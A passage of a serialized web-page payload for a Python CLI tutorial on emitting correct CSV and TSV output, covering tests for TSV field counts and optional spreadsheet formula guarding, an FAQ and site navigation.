admin\"'\n",[105,1511,1512,1514,1516,1518,1520,1522,1524,1526,1529,1531],{"class":107,"line":328},[105,1513,1489],{"class":118},[105,1515,1492],{"class":129},[105,1517,1495],{"class":122},[105,1519,1498],{"class":129},[105,1521,1334],{"class":208},[105,1523,1503],{"class":129},[105,1525,1506],{"class":118},[105,1527,1528],{"class":208}," \"a, b",[105,1530,569],{"class":122},[105,1532,1533],{"class":208},"c\"\n",[105,1535,1536,1538,1540,1542,1544,1546,1548,1550],{"class":107,"line":344},[105,1537,1489],{"class":118},[105,1539,1492],{"class":129},[105,1541,1495],{"class":122},[105,1543,1498],{"class":129},[105,1545,1349],{"class":208},[105,1547,1503],{"class":129},[105,1549,1506],{"class":118},[105,1551,1552],{"class":208}," '[\"x\",\"y\"]'\n",[105,1554,1555,1557,1559,1561,1563,1565,1567,1569],{"class":107,"line":363},[105,1556,1489],{"class":118},[105,1558,1492],{"class":129},[105,1560,1495],{"class":122},[105,1562,1498],{"class":129},[105,1564,1365],{"class":208},[105,1566,1503],{"class":129},[105,1568,1506],{"class":118},[105,1570,325],{"class":208},[105,1572,1573],{"class":107,"line":384},[105,1574,137],{"emptyLinePlaceholder":136},[105,1576,1577],{"class":107,"line":422},[105,1578,137],{"emptyLinePlaceholder":136},[105,1580,1581,1583,1586],{"class":107,"line":436},[105,1582,263],{"class":118},[105,1584,1585],{"class":266}," test_formula_guard_only_when_asked",[105,1587,1462],{"class":129},[105,1589,1590,1593,1595,1597,1600,1602,1604,1606],{"class":107,"line":454},[105,1591,1592],{"class":129},"    plain ",[105,1594,24],{"class":118},[105,1596,1472],{"class":122},[105,1598,1599],{"class":129},"(csv.reader(io.StringIO(to_csv(",[105,1601,1311],{"class":122},[105,1603,212],{"class":129},[105,1605,1423],{"class":122},[105,1607,1484],{"class":129},[105,1609,1610,1613,1615,1617,1619,1621,1623,1625,1627,1629,1631,1633],{"class":107,"line":468},[105,1611,1612],{"class":129},"    guarded ",[105,1614,24],{"class":118},[105,1616,1472],{"class":122},[105,1618,1599],{"class":129},[105,1620,1311],{"class":122},[105,1622,212],{"class":129},[105,1624,1423],{"class":122},[105,1626,212],{"class":129},[105,1628,603],{"class":392},[105,1630,24],{"class":118},[105,1632,671],{"class":122},[105,1634,1484],{"class":129},[105,1636,1637,1639,1642,1645,1647,1649,1651,1653],{"class":107,"line":476},[105,1638,1489],{"class":118},[105,1640,1641],{"class":129}," plain[",[105,1643,1644],{"class":122},"2",[105,1646,1498],{"class":129},[105,1648,1495],{"class":122},[105,1650,1503],{"class":129},[105,1652,1506],{"class":118},[105,1654,1655],{"class":208}," \"=SUM(A1:A9)\"\n",[105,1657,1658,1660,1663,1665,1667,1669,1671,1673],{"class":107,"line":481},[105,1659,1489],{"class":118},[105,1661,1662],{"class":129}," guarded[",[105,1664,1644],{"class":122},[105,1666,1498],{"class":129},[105,1668,1495],{"class":122},[105,1670,1503],{"class":129},[105,1672,1506],{"class":118},[105,1674,1675],{"class":208}," \"'=SUM(A1:A9)\"\n",[105,1677,1678],{"class":107,"line":486},[105,1679,137],{"emptyLinePlaceholder":136},[105,1681,1682],{"class":107,"line":512},[105,1683,137],{"emptyLinePlaceholder":136},[105,1685,1686,1688,1691],{"class":107,"line":530},[105,1687,263],{"class":118},[105,1689,1690],{"class":266}," test_tsv_has_one_line_per_record_and_fixed_field_count",[105,1692,1462],{"class":129},[105,1694,1695,1697,1699,1702,1704,1706,1708],{"class":107,"line":551},[105,1696,1058],{"class":129},[105,1698,24],{"class":118},[105,1700,1701],{"class":129}," to_tsv(",[105,1703,1311],{"class":122},[105,1705,212],{"class":129},[105,1707,1423],{"class":122},[105,1709,1710],{"class":129},").splitlines()\n",[105,1712,1713,1715,1718,1721,1723],{"class":107,"line":576},[105,1714,1489],{"class":118},[105,1716,1717],{"class":122}," len",[105,1719,1720],{"class":129},"(lines) ",[105,1722,1506],{"class":118},[105,1724,1725],{"class":122}," 3\n",[105,1727,1728,1730,1733,1735,1738,1741,1743,1745,1747,1750,1752,1755,1758,1761,1763],{"class":107,"line":582},[105,1729,1489],{"class":118},[105,1731,1732],{"class":122}," all",[105,1734,398],{"class":129},[105,1736,1737],{"class":122},"len",[105,1739,1740],{"class":129},"(line.split(",[105,1742,230],{"class":208},[105,1744,233],{"class":122},[105,1746,230],{"class":208},[105,1748,1749],{"class":129},")) ",[105,1751,1506],{"class":118},[105,1753,1754],{"class":122}," 4",[105,1756,1757],{"class":118}," for",[105,1759,1760],{"class":129}," line ",[105,1762,591],{"class":118},[105,1764,1765],{"class":129}," lines)\n",[105,1767,1768,1770,1773,1775,1778,1780,1782,1784,1787,1790,1792,1794,1797,1799],{"class":107,"line":597},[105,1769,1489],{"class":118},[105,1771,1772],{"class":129}," lines[",[105,1774,1644],{"class":122},[105,1776,1777],{"class":129},"].split(",[105,1779,230],{"class":208},[105,1781,233],{"class":122},[105,1783,230],{"class":208},[105,1785,1786],{"class":129},")[",[105,1788,1789],{"class":122},"1",[105,1791,1503],{"class":129},[105,1793,1506],{"class":118},[105,1795,1796],{"class":208}," \"tab",[105,1798,940],{"class":122},[105,1800,1801],{"class":208},"there\"\n",[10,1803,1804,1805,1809,1810,1814],{},"The TSV test asserts the property the shell depends on — exactly one line per record and a fixed number of tab-separated fields — rather than the exact escaping. Add one command-level snapshot per format, as in ",[31,1806,1808],{"href":1807},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fsnapshot-testing-cli-output\u002F","snapshot testing CLI output",", and a property-based test with ",[31,1811,1813],{"href":1812},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fproperty-based-testing-cli-arguments-with-hypothesis\u002F","Hypothesis"," generating arbitrary text if CSV is a core feature of your tool.",[42,1816,1818],{"id":1817},"conclusion","Conclusion",[10,1820,1821,1822,1824,1825,1827],{},"Write CSV with the ",[14,1823,28],{}," module and TSV with explicit escaping, decide once how ",[14,1826,647],{},", booleans and nested values become cells, and treat spreadsheet friendliness — the BOM, formula guarding — as an export concern rather than a property of every CSV the tool prints. Round-trip tests then keep the output honest as the data gets stranger.",[42,1829,1831],{"id":1830},"frequently-asked-questions","Frequently asked questions",[1833,1834,1836],"h3",{"id":1835},"should-i-use-pandas-to-write-csv","Should I use pandas to write CSV?",[10,1838,1839,1840,1842],{},"Not for a CLI's output layer. pandas adds hundreds of milliseconds of import time and a large dependency for something the standard library does well. If your tool already uses pandas or Polars for its data work, their writers are fine for file exports; keep stdout rendering on the ",[14,1841,28],{}," module.",[1833,1844,1846],{"id":1845},"why-does-my-csv-show-blank-lines-between-rows-on-windows","Why does my CSV show blank lines between rows on Windows?",[10,1848,1849,1850,1852,1853,765,1856,1859,1860,1862,1863,1865],{},"The file was opened without ",[14,1851,718],{},", so Python translated the writer's ",[14,1854,1855],{},"\\r\\n",[14,1857,1858],{},"\\r\\r\\n",". Always pass ",[14,1861,718],{}," when opening a file for the ",[14,1864,28],{}," module, on every platform.",[1833,1867,1869],{"id":1868},"how-do-i-output-a-csv-without-a-header","How do I output a CSV without a header?",[10,1871,1872,1873,1875,1876,1879,1880,1883],{},"Add a ",[14,1874,1165],{}," flag that skips ",[14,1877,1878],{},"writeheader()",". Keep the header on by default for CSV — spreadsheets and ",[14,1881,1882],{},"DictReader"," depend on it — and consider making the TSV default header-less if your users are mostly shell scripts.",[1833,1885,1887],{"id":1886},"what-delimiter-should-a-csv-use-in-europe","What delimiter should a \"CSV\" use in Europe?",[10,1889,1890,1891,1894],{},"Excel in comma-decimal locales expects semicolons when it opens a file by double-click. Keep comma as the default and add ",[14,1892,1893],{},"--delimiter",", or detect nothing and document the Excel import dialog. Never switch delimiters based on the user's locale automatically — scripts run under many locales.",[42,1896,1898],{"id":1897},"related","Related",[47,1900,1901,1907,1912,1918,1924],{},[50,1902,1903,1904],{},"Up: ",[31,1905,1906],{"href":33},"Output formats for data-heavy Python CLIs",[50,1908,1909],{},[31,1910,1911],{"href":38},"Adding a format flag for table, JSON and CSV",[50,1913,1914],{},[31,1915,1917],{"href":1916},"\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002Fexporting-cli-results-to-files\u002F","Exporting CLI results to files",[50,1919,1920],{},[31,1921,1923],{"href":1922},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Ffixing-unicode-and-encoding-errors-on-windows\u002F","Fixing Unicode and encoding errors on Windows",[50,1925,1926],{},[31,1927,1929],{"href":1928},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Fprocessing-large-files-and-ndjson-streams\u002F","Processing large files and NDJSON streams",[1931,1932,1933],"style",{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":101,"searchDepth":115,"depth":115,"links":1935},[1936,1937,1938,1939,1940,1941,1942,1943,1944,1945,1951],{"id":44,"depth":115,"text":45},{"id":61,"depth":115,"text":62},{"id":93,"depth":115,"text":94},{"id":722,"depth":115,"text":723},{"id":883,"depth":115,"text":884},{"id":1173,"depth":115,"text":1174},{"id":1206,"depth":115,"text":1207},{"id":1260,"depth":115,"text":1261},{"id":1817,"depth":115,"text":1818},{"id":1830,"depth":115,"text":1831,"children":1946},[1947,1948,1949,1950],{"id":1835,"depth":133,"text":1836},{"id":1845,"depth":133,"text":1846},{"id":1868,"depth":133,"text":1869},{"id":1886,"depth":133,"text":1887},{"id":1897,"depth":115,"text":1898},"2026-10-02","Emit CSV and TSV that spreadsheets and shell tools both parse: quoting, line endings, Excel encodings, nested values, formula injection and round-trip tests.","intermediate",false,"md",{},"\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002Fwriting-csv-and-tsv-output-correctly",{"title":5,"description":1953},"advanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002Fwriting-csv-and-tsv-output-correctly\u002Findex",[28,1962,1963,1964,853],"tsv","output","spreadsheets","UqugL_wr2aJH66V759vE9lEnwN1joUGUIdpPgCXGBlI",[1967,1970,1973,1976,1979,1982,1985,1988,1991,1994,1997,2000,2003,2006,2009,2012,2015,2018,2021,2024,2027,2030,2033,2036,2039,2042,2045,2048,2051,2054,2057,2060,2063,2066,2069,2072,2075,2078,2081,2084,2087,2090,2093,2096,2099,2102,2105,2108,2111,2114,2117,2120,2123,2126,2129,2132,2135,2138,2141,2144,2145,2148,2151,2154,2157,2160,2163,2166,2169,2172,2175,2178,2181,2184,2187,2190,2193,2196,2199,2202,2205,2208,2211,2214,2217,2220,2223,2226,2229,2232,2235,2238,2241,2244,2247,2250,2253,2256,2259,2262,2265,2268,2271,2274,2277,2280,2283,2286,2289,2292,2295,2298,2301,2304,2307,2310,2313,2316,2319,2322,2325,2328,2331,2334,2337,2340,2343,2346,2349,2352,2355,2358,2361,2364,2367,2370,2373,2376,2379,2382,2384,2387,2390,2393,2396,2399,2402,2405,2408,2411,2414,2417,2420,2423,2426,2429,2432,2435,2438,2441,2444,2447,2450,2453,2456,2459,2462,2465,2468,2471,2474,2477,2480,2483,2486,2489,2492,2495,2498,2501,2504,2507,2510,2513,2516,2519,2522,2525,2528,2531,2534,2537,2540,2543,2546,2549,2552,2555,2558,2561,2564,2567,2570,2573,2576,2579,2582,2585,2588,2591,2594,2597,2600,2603,2606,2609,2612,2615,2618,2621,2624,2627,2630,2633,2636,2639,2642,2645,2648,2651,2654,2657,2660,2663,2666,2669,2672,2675,2678,2681,2684,2687,2690,2693,2696,2699,2702,2705,2708,2711,2714,2717,2720,2723,2726,2729,2732,2735,2738,2741,2744,2747,2750,2753,2756,2759,2762,2765,2768,2771,2774,2777,2780,2783,2786,2789,2792,2795,2798,2801,2804,2807],{"path":1968,"title":1969},"\u002Fabout","About Python CLI Toolcraft",{"path":1971,"title":1972},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies","Advanced Argument Validation Strategies",{"path":1974,"title":1975},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies\u002Fparsing-nested-json-arguments-in-python-clis","Parsing Nested JSON Args in Python CLIs",{"path":1977,"title":1978},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies\u002Fvalidating-dates-and-durations-in-cli-arguments","Validating Dates and Durations in Python CLI Arguments",{"path":1980,"title":1981},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies\u002Fvalidating-dependent-and-conflicting-options","Validating Dependent and Conflicting CLI Options",{"path":1983,"title":1984},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies\u002Fvalidating-file-and-directory-paths-in-clis","Validating File and Directory Paths in CLIs",{"path":1986,"title":1987},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies\u002Fvalidating-urls-hosts-and-ports","Validating URLs, Hosts and Ports in Python CLI Arguments",{"path":1989,"title":1990},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies\u002Fwriting-custom-click-parameter-types","Writing Custom Click Parameter Types",{"path":1992,"title":1993},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual\u002Fbrowsing-records-with-a-textual-datatable","Browsing Records with a Textual DataTable Picker",{"path":1995,"title":1996},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual\u002Fbuilding-your-first-textual-app","Building Your First Textual App for a Python CLI",{"path":1998,"title":1999},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual\u002Fchoosing-between-a-cli-a-prompt-flow-and-a-tui","Choosing Between a CLI, a Prompt Flow and a TUI",{"path":2001,"title":2002},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual","Building Terminal UIs with Textual for Python CLIs",{"path":2004,"title":2005},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual\u002Frunning-background-work-in-textual-with-workers","Running Background Work in Textual with Workers",{"path":2007,"title":2008},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual\u002Fstyling-textual-apps-with-tcss","Styling Textual Apps with TCSS",{"path":2010,"title":2011},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual\u002Ftesting-textual-apps-with-pilot","Testing Textual Apps with Pilot",{"path":2013,"title":2014},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation\u002Fadding-examples-and-epilogs-to-help-output","Adding Examples and Epilogs to Help Output",{"path":2016,"title":2017},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation\u002Fdocumenting-environment-variables-in-help","Documenting Environment Variables in CLI Help",{"path":2019,"title":2020},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation\u002Fgenerating-man-pages-and-docs-from-a-cli","Generating Man Pages and Docs from a CLI",{"path":2022,"title":2023},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation","CLI Help Output and Documentation",{"path":2025,"title":2026},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation\u002Frich-formatted-help-with-rich-click","Rich-Formatted Help for Click CLIs with rich-click",{"path":2028,"title":2029},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation\u002Fversioning-and-deprecating-cli-flags","Versioning and Deprecating CLI Flags",{"path":2031,"title":2032},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation\u002Fwriting-help-text-users-actually-read","Writing Help Text Users Actually Read",{"path":2034,"title":2035},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Fadapting-output-to-terminal-width","Adapting Python CLI Output to Terminal Width",{"path":2037,"title":2038},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Fdetecting-ci-environments-and-non-interactive-shells","Detecting CI Environments and Non-Interactive Shells",{"path":2040,"title":2041},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Ffixing-unicode-and-encoding-errors-on-windows","Fixing Unicode and Encoding Errors on Windows in Python CLIs",{"path":2043,"title":2044},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Fhandling-ansi-escape-codes-on-windows-consoles","Handling ANSI Escape Codes on Windows Consoles",{"path":2046,"title":2047},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility","Cross-Platform Terminal Compatibility for Python CLIs",{"path":2049,"title":2050},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Frespecting-no-color-and-force-color","Respecting NO_COLOR and FORCE_COLOR in Python CLIs",{"path":2052,"title":2053},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Fsupporting-dumb-terminals-and-screen-readers","Supporting Dumb Terminals and Screen Readers in a Python CLI",{"path":2055,"title":2056},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Fchoosing-exit-codes-for-cli-tools","Choosing Exit Codes for CLI Tools",{"path":2058,"title":2059},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Fdesigning-an-exception-hierarchy-for-a-cli","Designing an Exception Hierarchy for a Python CLI",{"path":2061,"title":2062},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Fdid-you-mean-suggestions-for-mistyped-input","Did You Mean…? Suggestions for Mistyped CLI Input",{"path":2064,"title":2065},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Ffriendly-error-messages-and-tracebacks","Friendly Error Messages and Tracebacks",{"path":2067,"title":2068},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Fhandling-keyboard-interrupt-cleanly","Handling Keyboard Interrupt Cleanly",{"path":2070,"title":2071},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes","Error Handling and Exit Codes for CLIs",{"path":2073,"title":2074},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Freporting-machine-readable-errors-in-json-mode","Reporting Machine-Readable Errors in JSON Mode",{"path":2076,"title":2077},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Fwriting-crash-reports-users-can-send","Writing Crash Reports Users Can Send",{"path":2079,"title":2080},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Fconfig-precedence-flags-env-files-defaults","Config Precedence: Flags, Env, Files, Defaults",{"path":2082,"title":2083},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Fdiscovering-project-config-files-by-walking-up-directories","Discovering Project Config Files by Walking Up Directories",{"path":2085,"title":2086},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars","Handling Config Files and Env Vars in CLIs",{"path":2088,"title":2089},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Floading-yaml-configs-safely-in-cli-apps","Loading YAML configs safely in CLI apps",{"path":2091,"title":2092},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Freading-toml-config-with-tomllib","Reading TOML Config with tomllib in Python CLIs",{"path":2094,"title":2095},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Ftyped-settings-with-pydantic-settings","Typed Settings with pydantic-settings in Python CLIs",{"path":2097,"title":2098},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Fvalidating-config-files-with-json-schema","Validating Config Files with JSON Schema in a Python CLI",{"path":2100,"title":2101},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Fwriting-a-config-init-and-edit-command","Writing a Config Init and Edit Command for a Python CLI",{"path":2103,"title":2104},"\u002Fadvanced-input-parsing-user-experience","Advanced Input Parsing for Python CLIs",{"path":2106,"title":2107},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Fadding-progress-bars-and-spinners-to-python-clis","Progress Bars and Spinners for Python CLIs",{"path":2109,"title":2110},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Fbuilding-interactive-prompts-and-menus","Building Interactive Prompts and Menus in Python CLIs",{"path":2112,"title":2113},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Fbuilding-tree-views-with-rich","Building Tree Views with Rich in a Python CLI",{"path":2115,"title":2116},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich","Interactive Terminal UI with Rich",{"path":2118,"title":2119},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Flive-dashboards-with-rich-live","Live Dashboards with Rich Live in Python CLIs",{"path":2121,"title":2122},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Frendering-markdown-and-syntax-highlighting-with-rich","Rendering Markdown and Syntax Highlighting with Rich",{"path":2124,"title":2125},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Frendering-tables-and-json-with-rich","Rendering Tables and JSON with Rich",{"path":2127,"title":2128},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Ftheming-rich-output-consistently","Theming Rich Output Consistently in Python CLIs",{"path":2130,"title":2131},"\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002Fadding-a-format-flag-for-table-json-and-csv","Adding a Format Flag for Table, JSON and CSV Output",{"path":2133,"title":2134},"\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002Fcustom-output-templates-with-a-format-string","Custom Output Templates with a Format String in Python CLIs",{"path":2136,"title":2137},"\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002Fexporting-cli-results-to-files","Exporting CLI Results to Files from a Python CLI",{"path":2139,"title":2140},"\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis","Output Formats for Data-Heavy Python CLIs",{"path":2142,"title":2143},"\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002Fselecting-fields-and-columns-from-cli-output","Selecting Fields and Columns from Python CLI Output",{"path":1958,"title":5},{"path":2146,"title":2147},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis\u002Fargcomplete-for-argparse-clis","Tab Completion for argparse CLIs with argcomplete",{"path":2149,"title":2150},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis\u002Fdynamic-completion-values-from-apis-and-files","Dynamic Completion Values from APIs and Files",{"path":2152,"title":2153},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis\u002Fenabling-tab-completion-in-click-and-typer","Enabling Tab Completion in Click and Typer",{"path":2155,"title":2156},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis","Shell Completion for Python CLIs",{"path":2158,"title":2159},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis\u002Finstalling-shell-completion-for-bash-zsh-fish","Installing Shell Completion for bash, zsh, fish",{"path":2161,"title":2162},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis\u002Fshipping-completion-scripts-with-packages","Shipping Shell Completion Scripts with a Python CLI",{"path":2164,"title":2165},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis\u002Ftesting-shell-completion-in-python-clis","Testing Shell Completion in Python CLIs",{"path":2167,"title":2168},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Fadding-trace-ids-and-context-to-cli-logs","Adding Trace IDs and Context to Python CLI Logs",{"path":2170,"title":2171},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Fadding-verbose-and-quiet-logging-flags","Adding Verbose and Quiet Logging Flags",{"path":2173,"title":2174},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps","Structured Logging for CLI Apps",{"path":2176,"title":2177},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Flogging-with-structlog-in-a-cli","Logging with structlog in a Python CLI",{"path":2179,"title":2180},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Fseparating-logs-from-program-output","Separating Logs from Program Output in a Python CLI",{"path":2182,"title":2183},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Fstructured-json-logging-in-python-clis","Structured JSON Logging in Python CLIs",{"path":2185,"title":2186},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Fwriting-rotating-log-files-from-a-cli","Writing Rotating Log Files from a Python CLI",{"path":2188,"title":2189},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Fdetecting-tty-and-adapting-output","Detecting a TTY and Adapting Output",{"path":2191,"title":2192},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Femitting-json-output-for-scripting","Emitting JSON Output for Scripting",{"path":2194,"title":2195},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Fhandling-broken-pipe-and-sigpipe","Handling Broken Pipe and SIGPIPE",{"path":2197,"title":2198},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes","Working with stdin, stdout and Pipes",{"path":2200,"title":2201},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Fnull-delimited-input-and-xargs-compatibility","Null-Delimited Input and xargs Compatibility in Python CLIs",{"path":2203,"title":2204},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Fprocessing-large-files-and-ndjson-streams","Processing Large Files and NDJSON Streams in Python CLIs",{"path":2206,"title":2207},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Freading-piped-input-in-python-clis","Reading Piped Input in Python CLIs",{"path":2209,"title":2210},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Fbuilding-an-api-client-cli-with-httpx","Building an API Client CLI with httpx",{"path":2212,"title":2213},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Fdownloading-files-with-progress-in-python","Downloading Files with Progress in Python CLIs",{"path":2215,"title":2216},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis","Calling HTTP APIs from Python CLIs",{"path":2218,"title":2219},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Fmocking-http-in-cli-tests-with-respx","Mocking HTTP in Python CLI Tests with respx",{"path":2221,"title":2222},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Foauth-device-flow-login-for-clis","OAuth Device Flow Login for Python CLIs",{"path":2224,"title":2225},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Fpaginating-api-results-in-a-cli","Paginating API Results in a Python CLI",{"path":2227,"title":2228},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Fretries-and-backoff-for-cli-http-calls","Retries and Backoff for CLI HTTP Calls",{"path":2230,"title":2231},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Fuploading-files-with-multipart-and-progress","Uploading Files with Multipart and Progress in a Python CLI",{"path":2233,"title":2234},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Fcancelling-async-tasks-on-ctrl-c","Cancelling Async Tasks on Ctrl+C in Python CLIs",{"path":2236,"title":2237},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis","Concurrency and Async in Python CLIs",{"path":2239,"title":2240},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Fmultiprocessing-for-cpu-bound-cli-tasks","Multiprocessing for CPU-Bound CLI 